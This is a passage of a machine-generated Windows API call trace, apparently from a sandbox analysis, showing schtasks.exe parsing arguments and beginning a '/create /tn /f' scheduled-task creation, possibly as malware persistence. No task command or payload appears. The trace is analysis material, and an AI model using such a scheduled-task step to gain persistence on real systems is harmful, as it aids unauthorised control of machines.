_BufferCount=0x4, _Format="|%s|", _ArgList=0x27f5f8 | out: _Buffer="|f|") returned 3 [0131.975] lstrlenW (lpString="|delete|") returned 8 [0131.975] lstrlenW (lpString="|f|") returned 3 [0131.975] StrStrIW (lpFirst="|delete|", lpSrch="|f|") returned 0x0 [0131.975] SetLastError (dwErrCode=0x490) [0131.975] lstrlenW (lpString="query") returned 5 [0131.975] lstrlenW (lpString="query") returned 5 [0131.975] _memicmp (_Buf1=0x3ec1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.975] lstrlenW (lpString="f") returned 1 [0131.975] _memicmp (_Buf1=0x3ec1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.975] _vsnwprintf (in: _Buffer=0x3ec220, _BufferCount=0x8, _Format="|%s|", _ArgList=0x27f5f8 | out: _Buffer="|query|") returned 7 [0131.975] _vsnwprintf (in: _Buffer=0x3ec200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27f5f8 | out: _Buffer="|f|") returned 3 [0131.975] lstrlenW (lpString="|query|") returned 7 [0131.975] lstrlenW (lpString="|f|") returned 3 [0131.975] StrStrIW (lpFirst="|query|", lpSrch="|f|") returned 0x0 [0131.975] SetLastError (dwErrCode=0x490) [0131.975] lstrlenW (lpString="change") returned 6 [0131.975] lstrlenW (lpString="change") returned 6 [0131.975] _memicmp (_Buf1=0x3ec1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.975] lstrlenW (lpString="f") returned 1 [0131.975] _memicmp (_Buf1=0x3ec1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.975] _vsnwprintf (in: _Buffer=0x3ec220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27f5f8 | out: _Buffer="|change|") returned 8 [0131.975] _vsnwprintf (in: _Buffer=0x3ec200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27f5f8 | out: _Buffer="|f|") returned 3 [0131.976] lstrlenW (lpString="|change|") returned 8 [0131.976] lstrlenW (lpString="|f|") returned 3 [0131.976] StrStrIW (lpFirst="|change|", lpSrch="|f|") returned 0x0 [0131.976] SetLastError (dwErrCode=0x490) [0131.976] lstrlenW (lpString="run") returned 3 [0131.976] lstrlenW (lpString="run") returned 3 [0131.976] _memicmp (_Buf1=0x3ec1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.976] lstrlenW (lpString="f") returned 1 [0131.976] _memicmp (_Buf1=0x3ec1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.976] _vsnwprintf (in: _Buffer=0x3ec220, _BufferCount=0x6, _Format="|%s|", _ArgList=0x27f5f8 | out: _Buffer="|run|") returned 5 [0131.976] _vsnwprintf (in: _Buffer=0x3ec200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27f5f8 | out: _Buffer="|f|") returned 3 [0131.976] lstrlenW (lpString="|run|") returned 5 [0131.976] lstrlenW (lpString="|f|") returned 3 [0131.976] StrStrIW (lpFirst="|run|", lpSrch="|f|") returned 0x0 [0131.976] SetLastError (dwErrCode=0x490) [0131.976] lstrlenW (lpString="end") returned 3 [0131.976] lstrlenW (lpString="end") returned 3 [0131.976] _memicmp (_Buf1=0x3ec1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.976] lstrlenW (lpString="f") returned 1 [0131.976] _memicmp (_Buf1=0x3ec1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.976] _vsnwprintf (in: _Buffer=0x3ec220, _BufferCount=0x6, _Format="|%s|", _ArgList=0x27f5f8 | out: _Buffer="|end|") returned 5 [0131.976] _vsnwprintf (in: _Buffer=0x3ec200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27f5f8 | out: _Buffer="|f|") returned 3 [0131.976] lstrlenW (lpString="|end|") returned 5 [0131.976] lstrlenW (lpString="|f|") returned 3 [0131.976] StrStrIW (lpFirst="|end|", lpSrch="|f|") returned 0x0 [0131.976] SetLastError (dwErrCode=0x490) [0131.976] lstrlenW (lpString="showsid") returned 7 [0131.976] lstrlenW (lpString="showsid") returned 7 [0131.976] _memicmp (_Buf1=0x3ec1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.976] lstrlenW (lpString="f") returned 1 [0131.976] _memicmp (_Buf1=0x3ec1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0131.977] _vsnwprintf (in: _Buffer=0x3ec220, _BufferCount=0xa, _Format="|%s|", _ArgList=0x27f5f8 | out: _Buffer="|showsid|") returned 9 [0131.977] _vsnwprintf (in: _Buffer=0x3ec200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27f5f8 | out: _Buffer="|f|") returned 3 [0131.977] lstrlenW (lpString="|showsid|") returned 9 [0131.977] lstrlenW (lpString="|f|") returned 3 [0131.977] StrStrIW (lpFirst="|showsid|", lpSrch="|f|") returned 0x0 [0131.977] SetLastError (dwErrCode=0x490) [0131.977] SetLastError (dwErrCode=0x490) [0131.977] SetLastError (dwErrCode=0x0) [0131.977] lstrlenW (lpString="/f") returned 2 [0131.977] StrChrIW (lpStart="/f", wMatch=0x3a) returned 0x0 [0131.977] SetLastError (dwErrCode=0x490) [0131.977] SetLastError (dwErrCode=0x0) [0131.977] lstrlenW (lpString="/f") returned 2 [0131.977] GetProcessHeap () returned 0x3d0000 [0131.977] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0xc, Size=0x6) returned 0x3edd30 [0131.977] GetProcessHeap () returned 0x3d0000 [0131.977] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0xc, Size=0x20) returned 0x3ecd80 [0131.977] SetLastError (dwErrCode=0x0) [0131.977] GetProcessHeap () returned 0x3d0000 [0131.977] GetProcessHeap () returned 0x3d0000 [0131.977] HeapValidate (hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3ec1c0) returned 1 [0131.977] GetProcessHeap () returned 0x3d0000 [0131.977] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3ec1c0) returned 0x8 [0131.977] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3ec1c0 | out: hHeap=0x3d0000) returned 1 [0131.977] GetProcessHeap () returned 0x3d0000 [0131.977] GetProcessHeap () returned 0x3d0000 [0131.977] HeapValidate (hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3ecbd0) returned 1 [0131.977] GetProcessHeap () returned 0x3d0000 [0131.977] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3ecbd0) returned 0x20 [0131.978] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3ecbd0 | out: hHeap=0x3d0000) returned 1 [0131.978] GetProcessHeap () returned 0x3d0000 [0131.978] GetProcessHeap () returned 0x3d0000 [0131.978] HeapValidate (hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3ecc00) returned 1 [0131.978] GetProcessHeap () returned 0x3d0000 [0131.978] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3ecc00) returned 0x20 [0131.978] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3ecc00 | out: hHeap=0x3d0000) returned 1 [0131.978] GetProcessHeap () returned 0x3d0000 [0131.978] GetProcessHeap () returned 0x3d0000 [0131.978] HeapValidate (hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3ecc30) returned 1 [0131.978] GetProcessHeap () returned 0x3d0000 [0131.978] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3ecc30) returned 0x20 [0131.979] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3ecc30 | out: hHeap=0x3d0000) returned 1 [0131.979] GetProcessHeap () returned 0x3d0000 [0131.979] GetProcessHeap () returned 0x3d0000 [0131.979] HeapValidate (hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3ec250) returned 1 [0131.979] GetProcessHeap () returned 0x3d0000 [0131.979] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3ec250) returned 0x8 [0131.979] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3ec250 | out: hHeap=0x3d0000) returned 1 [0131.979] GetProcessHeap () returned 0x3d0000 [0131.979] GetProcessHeap () returned 0x3d0000 [0131.979] HeapValidate (hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3ecc60) returned 1 [0131.979] GetProcessHeap () returned 0x3d0000 [0131.979] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3ecc60) returned 0x20 [0131.979] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3ecc60 | out: hHeap=0x3d0000) returned 1 [0131.979] GetProcessHeap () returned 0x3d0000 [0131.979] GetProcessHeap () returned 0x3d0000 [0131.979] HeapValidate (hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3ed4c0) returned 1 [0131.979] GetProcessHeap () returned 0x3d0000 [0131.979] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3ed4c0) returned 0x10 [0131.979] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3ed4c0 | out: hHeap=0x3d0000) returned 1 [0131.979] GetProcessHeap () returned 0x3d0000 [0131.979] GetProcessHeap () returned 0x3d0000 [0131.979] HeapValidate (hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3ecc90) returned 1 [0131.979] GetProcessHeap () returned 0x3d0000 [0131.979] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3ecc90) returned 0x20 [0131.980] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3ecc90 | out: hHeap=0x3d0000) returned 1 [0131.980] GetProcessHeap () returned 0x3d0000 [0131.980] GetProcessHeap () returned 0x3d0000 [0131.980] HeapValidate (hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3edc90) returned 1 [0131.980] GetProcessHeap () returned 0x3d0000 [0131.980] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3edc90) returned 0x8 [0131.980] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3edc90 | out: hHeap=0x3d0000) returned 1 [0131.980] GetProcessHeap () returned 0x3d0000 [0131.980] GetProcessHeap () returned 0x3d0000 [0131.980] HeapValidate (hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3eccc0) returned 1 [0131.980] GetProcessHeap () returned 0x3d0000 [0131.980] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3eccc0) returned 0x20 [0131.980] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3eccc0 | out: hHeap=0x3d0000) returned 1 [0131.980] GetProcessHeap () returned 0x3d0000 [0131.980] GetProcessHeap () returned 0x3d0000 [0131.981] HeapValidate (hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3e9310) returned 1 [0131.981] GetProcessHeap () returned 0x3d0000 [0131.981] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3e9310) returned 0x48 [0131.981] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3e9310 | out: hHeap=0x3d0000) returned 1 [0131.981] GetProcessHeap () returned 0x3d0000 [0131.981] GetProcessHeap () returned 0x3d0000 [0131.981] HeapValidate (hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3eccf0) returned 1 [0131.981] GetProcessHeap () returned 0x3d0000 [0131.981] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3eccf0) returned 0x20 [0131.981] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3eccf0 | out: hHeap=0x3d0000) returned 1 [0131.982] GetProcessHeap () returned 0x3d0000 [0131.982] GetProcessHeap () returned 0x3d0000 [0131.982] HeapValidate (hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3edd10) returned 1 [0131.982] GetProcessHeap () returned 0x3d0000 [0131.982] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3edd10) returned 0x8 [0131.982] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3edd10 | out: hHeap=0x3d0000) returned 1 [0131.982] GetProcessHeap () returned 0x3d0000 [0131.982] GetProcessHeap () returned 0x3d0000 [0131.982] HeapValidate (hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3ecd20) returned 1 [0131.982] GetProcessHeap () returned 0x3d0000 [0131.982] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3ecd20) returned 0x20 [0131.982] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3ecd20 | out: hHeap=0x3d0000) returned 1 [0131.982] GetProcessHeap () returned 0x3d0000 [0131.983] GetProcessHeap () returned 0x3d0000 [0131.983] HeapValidate (hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3ed540) returned 1 [0131.983] GetProcessHeap () returned 0x3d0000 [0131.983] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3ed540) returned 0x10 [0131.983] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3ed540 | out: hHeap=0x3d0000) returned 1 [0131.983] GetProcessHeap () returned 0x3d0000 [0131.983] GetProcessHeap () returned 0x3d0000 [0131.983] HeapValidate (hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3ecd50) returned 1 [0131.983] GetProcessHeap () returned 0x3d0000 [0131.983] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3ecd50) returned 0x20 [0131.983] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3ecd50 | out: hHeap=0x3d0000) returned 1 [0131.983] GetProcessHeap () returned 0x3d0000 [0131.983] GetProcessHeap () returned 0x3d0000 [0131.983] HeapValidate (hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3edd30) returned 1 [0131.983] GetProcessHeap () returned 0x3d0000 [0131.983] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3edd30) returned 0x6 [0131.983] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3edd30 | out: hHeap=0x3d0000) returned 1 [0131.983] GetProcessHeap () returned 0x3d0000 [0131.984] GetProcessHeap () returned 0x3d0000 [0131.984] HeapValidate (hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3ecd80) returned 1 [0131.984] GetProcessHeap () returned 0x3d0000 [0131.984] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3ecd80) returned 0x20 [0132.006] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3ecd80 | out: hHeap=0x3d0000) returned 1 [0132.006] GetProcessHeap () returned 0x3d0000 [0132.006] GetProcessHeap () returned 0x3d0000 [0132.006] HeapValidate (hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3eb990) returned 1 [0132.006] GetProcessHeap () returned 0x3d0000 [0132.006] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3eb990) returned 0x18 [0132.007] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3eb990 | out: hHeap=0x3d0000) returned 1 [0132.007] SetLastError (dwErrCode=0x0) [0132.007] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0132.007] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0132.007] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0132.007] VerifyVersionInfoW (in: lpVersionInformation=0x27c650, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0x27c650) returned 1 [0132.007] SetLastError (dwErrCode=0x0) [0132.007] lstrlenW (lpString="create") returned 6 [0132.007] StrChrIW (lpStart="create", wMatch=0x7c) returned 0x0 [0132.007] SetLastError (dwErrCode=0x490) [0132.007] SetLastError (dwErrCode=0x0) [0132.007] lstrlenW (lpString="create") returned 6 [0132.007] GetProcessHeap () returned 0x3d0000 [0132.007] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0xc, Size=0x20) returned 0x3ecd80 [0132.007] GetProcessHeap () returned 0x3d0000 [0132.007] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0xc, Size=0x18) returned 0x3ed540 [0132.007] _memicmp (_Buf1=0x3ed540, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.007] GetProcessHeap () returned 0x3d0000 [0132.007] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0xc, Size=0x16) returned 0x3ed4c0 [0132.007] SetLastError (dwErrCode=0x0) [0132.007] _memicmp (_Buf1=0x3eba50, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.007] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x3ebbf0, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0132.007] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0132.008] GetProcessHeap () returned 0x3d0000 [0132.008] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0xc, Size=0x74e) returned 0x3edd10 [0132.008] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x3edd10 | out: lpData=0x3edd10) returned 1 [0132.008] VerQueryValueW (in: pBlock=0x3edd10, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x27c738, puLen=0x27c7a0 | out: lplpBuffer=0x27c738*=0x3ee0ac, puLen=0x27c7a0) returned 1 [0132.008] _memicmp (_Buf1=0x3eba50, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.008] _vsnwprintf (in: _Buffer=0x3ebbf0, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x27c718 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0132.008] VerQueryValueW (in: pBlock=0x3edd10, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x27c7a8, puLen=0x27c798 | out: lplpBuffer=0x27c7a8*=0x3eded8, puLen=0x27c798) returned 1 [0132.008] lstrlenW (lpString="schtasks.exe") returned 12 [0132.008] lstrlenW (lpString="schtasks.exe") returned 12 [0132.008] lstrlenW (lpString=".EXE") returned 4 [0132.009] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0132.009] lstrlenW (lpString="schtasks.exe") returned 12 [0132.009] lstrlenW (lpString=".EXE") returned 4 [0132.009] lstrlenW (lpString="schtasks") returned 8 [0132.009] lstrlenW (lpString="/create") returned 7 [0132.009] _memicmp (_Buf1=0x3eba50, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.009] _vsnwprintf (in: _Buffer=0x3ebbf0, _BufferCount=0x19, _Format="%s %s", _ArgList=0x27c718 | out: _Buffer="schtasks /create") returned 16 [0132.009] _memicmp (_Buf1=0x3eba70, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.009] GetProcessHeap () returned 0x3d0000 [0132.009] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0xc, Size=0x20) returned 0x3ecd50 [0132.009] _memicmp (_Buf1=0x3eba90, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.009] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x3ed280, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0132.009] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0132.009] GetProcessHeap () returned 0x3d0000 [0132.009] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0xc, Size=0x30) returned 0x3e7a90 [0132.009] _vsnwprintf (in: _Buffer=0x3ebff0, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x27c718 | out: _Buffer="Type \"SCHTASKS /CREATE /?\" for usage.") returned 37 [0132.009] GetProcessHeap () returned 0x3d0000 [0132.009] GetProcessHeap () returned 0x3d0000 [0132.009] HeapValidate (hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3edd10) returned 1 [0132.009] GetProcessHeap () returned 0x3d0000 [0132.009] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3edd10) returned 0x74e [0132.010] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3edd10 | out: hHeap=0x3d0000) returned 1 [0132.010] SetLastError (dwErrCode=0x0) [0132.010] GetThreadLocale () returned 0x409 [0132.010] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0132.010] lstrlenW (lpString="create") returned 6 [0132.010] GetThreadLocale () returned 0x409 [0132.010] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0132.010] lstrlenW (lpString="?") returned 1 [0132.010] GetThreadLocale () returned 0x409 [0132.010] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0132.010] lstrlenW (lpString="s") returned 1 [0132.010] GetThreadLocale () returned 0x409 [0132.010] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0132.010] lstrlenW (lpString="u") returned 1 [0132.010] GetThreadLocale () returned 0x409 [0132.011] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0132.011] lstrlenW (lpString="p") returned 1 [0132.011] GetThreadLocale () returned 0x409 [0132.011] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0132.011] lstrlenW (lpString="ru") returned 2 [0132.011] GetThreadLocale () returned 0x409 [0132.011] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0132.011] lstrlenW (lpString="rp") returned 2 [0132.011] GetThreadLocale () returned 0x409 [0132.011] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0132.011] lstrlenW (lpString="sc") returned 2 [0132.011] GetThreadLocale () returned 0x409 [0132.011] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0132.011] lstrlenW (lpString="mo") returned 2 [0132.011] GetThreadLocale () returned 0x409 [0132.011] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0132.011] lstrlenW (lpString="d") returned 1 [0132.011] GetThreadLocale () returned 0x409 [0132.011] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0132.011] lstrlenW (lpString="m") returned 1 [0132.011] GetThreadLocale () returned 0x409 [0132.011] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0132.011] lstrlenW (lpString="i") returned 1 [0132.011] GetThreadLocale () returned 0x409 [0132.011] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0132.011] lstrlenW (lpString="tn") returned 2 [0132.011] GetThreadLocale () returned 0x409 [0132.011] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0132.011] lstrlenW (lpString="tr") returned 2 [0132.012] GetThreadLocale () returned 0x409 [0132.012] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0132.012] lstrlenW (lpString="st") returned 2 [0132.012] GetThreadLocale () returned 0x409 [0132.012] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0132.012] lstrlenW (lpString="sd") returned 2 [0132.012] GetThreadLocale () returned 0x409 [0132.012] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0132.012] lstrlenW (lpString="ed") returned 2 [0132.012] GetThreadLocale () returned 0x409 [0132.012] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0132.012] lstrlenW (lpString="it") returned 2 [0132.012] GetThreadLocale () returned 0x409 [0132.012] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0132.012] lstrlenW (lpString="et") returned 2 [0132.012] GetThreadLocale () returned 0x409 [0132.012] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0132.012] lstrlenW (lpString="k") returned 1 [0132.012] GetThreadLocale () returned 0x409 [0132.012] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0132.012] lstrlenW (lpString="du") returned 2 [0132.012] GetThreadLocale () returned 0x409 [0132.012] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0132.012] lstrlenW (lpString="ri") returned 2 [0132.012] GetThreadLocale () returned 0x409 [0132.012] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0132.012] lstrlenW (lpString="z") returned 1 [0132.012] GetThreadLocale () returned 0x409 [0132.013] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0132.013] lstrlenW (lpString="f") returned 1 [0132.013] GetThreadLocale () returned 0x409 [0132.013] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0132.013] lstrlenW (lpString="v1") returned 2 [0132.013] GetThreadLocale () returned 0x409 [0132.013] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0132.013] lstrlenW (lpString="xml") returned 3 [0132.013] GetThreadLocale () returned 0x409 [0132.013] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0132.013] lstrlenW (lpString="ec") returned 2 [0132.013] GetThreadLocale () returned 0x409 [0132.013] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0132.013] lstrlenW (lpString="rl") returned 2 [0132.013] GetThreadLocale () returned 0x409 [0132.013] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0132.013] lstrlenW (lpString="delay") returned 5 [0132.013] GetThreadLocale () returned 0x409 [0132.013] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0132.013] lstrlenW (lpString="np") returned 2 [0132.013] SetLastError (dwErrCode=0x0) [0132.013] SetLastError (dwErrCode=0x0) [0132.013] lstrlenW (lpString="/create") returned 7 [0132.013] lstrlenW (lpString="-/") returned 2 [0132.013] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0132.013] lstrlenW (lpString="create") returned 6 [0132.013] lstrlenW (lpString="create") returned 6 [0132.013] _memicmp (_Buf1=0x3ec1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.014] lstrlenW (lpString="create") returned 6 [0132.014] _memicmp (_Buf1=0x3ec1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.014] _vsnwprintf (in: _Buffer=0x3ec220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|create|") returned 8 [0132.014] _vsnwprintf (in: _Buffer=0x3ec200, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|create|") returned 8 [0132.014] lstrlenW (lpString="|create|") returned 8 [0132.014] lstrlenW (lpString="|create|") returned 8 [0132.014] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0132.014] SetLastError (dwErrCode=0x0) [0132.014] SetLastError (dwErrCode=0x0) [0132.014] SetLastError (dwErrCode=0x0) [0132.014] lstrlenW (lpString="/tn") returned 3 [0132.014] lstrlenW (lpString="-/") returned 2 [0132.014] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0132.014] lstrlenW (lpString="create") returned 